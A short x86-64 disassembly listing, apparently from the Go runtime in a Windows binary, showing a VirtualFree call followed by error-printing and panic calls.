and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415895
xor edx, edx
jmp 0x4158e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432420
xorps xmm15, xmm15
mov r14, qword [0x005c35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415879
jmp 0x415868
call fcn.00463d00
xorps xmm15, xmm15
mov r14, qword [0x005c35b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004364c0
lea rax, [0x004a9a30]
mov ebx, 0x18
nop dword [rax]
call fcn.00436d40
mov rax, qword [rsp + 0x38]
call fcn.00436a80
lea rax, [0x004a9d38]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00436d40
mov rax, qword [rsp + 0x30]
call fcn.00436a80
call fcn.00436700
call fcn.00436520
lea rax, [0x004ab951]
mov ebx, 0x21
call fcn.00434a20
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004605e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004157e0